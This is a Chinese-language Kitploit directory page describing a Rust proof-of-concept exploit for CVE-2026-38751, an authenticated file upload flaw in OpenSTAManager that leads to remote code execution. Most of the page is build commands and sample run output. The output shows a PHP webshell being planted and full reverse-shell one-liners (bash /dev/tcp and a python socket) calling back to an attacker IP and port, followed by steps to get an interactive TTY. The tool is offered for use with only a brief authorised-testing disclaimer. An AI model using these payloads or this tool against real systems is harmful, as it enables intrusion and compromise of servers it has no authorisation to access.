Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
OpenSTAManager-RCE-Exploit-CVE-2026-38751 — OpenSTAManager-RCE-Exploit-CVE-2026-38751 | Kitploit
工具/GitHubGitHub/b0ysie7e/openstamanager-rce-exploit-cve-2026-38751
漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试学习与教育红队Payload 开发
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
b0ysie7e/openstamanager-rce-exploit-cve-2026-38751

OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager-RCE-Exploit-CVE-2026-38751

查看仓库
82个月前尚未审核
分享

OpenSTAManager RCE 漏洞利用(CVE-2026-38751)

任意文件上传导致远程代码执行
针对 CVE-2026-38751 的全功能概念验证工具,使用 Rust 编写。

警告:本工具仅用于授权的安全测试和教育目的。仅在您拥有或已获得明确许可的系统上使用。


描述

OpenSTAManager ≤ 2.10 存在一个经过身份验证的任意文件上传漏洞,允许攻击者上传包含 PHP WebShell 的恶意 ZIP 压缩包。此 PoC 可自动化以下流程:

  • 使用有效凭据登录
  • 上传包含 WebShell 的恶意模块
  • 验证漏洞是否存在
  • 交互式 WebShell(命令执行)
  • 反弹 Shell(支持 TTY 处理,多种载荷)
  • 清理上传的后门文件

功能特性

功能描述
登录使用提供的凭据进行身份验证。
ZIP 生成创建包含有效 MODULE 描述符和 PHP Shell 的 ZIP 文件。
文件上传通过更新机制发送恶意 ZIP 文件。
验证检查 Shell 是否可访问并执行测试命令(id)。
交互式 WebShell通过 WebShell 交互式执行命令(-i)。
反弹 Shell发送多种载荷(bash、python、base64、nc、mkfifo)以获取 Shell。
TTY 升级说明提供分步指南以获得完全交互式 TTY。
清理自动删除上传的 shell.php(除非使用 --no-cleanup)。

🛠️ 要求

  • Rust(1.70 及以上)
  • 运行 OpenSTAManager ≤ 2.10 的目标
  • 一个有效的用户账户(含密码)用于登录

安装

克隆仓库并构建二进制文件:

root@kitploit:~
git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
cargo build --release
./target/release/openstamanager-rce-exploit --help

示例:

root@kitploit:~
$ ./openstamanager-rce-exploit --url http://target.com/ -U <user> -P <password> --lhost 10.10.14.5 --lport 4444

[ OpenSTAManager RCE Exploit : ]

Target: http://target.com/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.5:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
[-] Payload failed: operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.19.238:55758
[*] Sent 'script /dev/null -c bash'

[*]
[*] Reverse shell established.
[*] To get a fully interactive TTY:
[*] 1. Press Ctrl+Z to suspend the shell.
[*] 2. Run: stty raw -echo; fg
[*] 3. When prompted for terminal type, type: xterm
[*] 4. Export: export TERM=xterm SHELL=bash
[*] 5. Adjust rows/columns with: stty rows <rows> columns <cols>
[*]    (Get the size with: stty size)
[*]
[*] Press Ctrl+C to exit and cleanup the webshell.

bash: cannot set terminal process group (1481): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@target:~/html/openstamanager/modules/shell$ whoami
whoami
www-data
www-data@target:~/html/openstamanager/modules/shell$
下载工具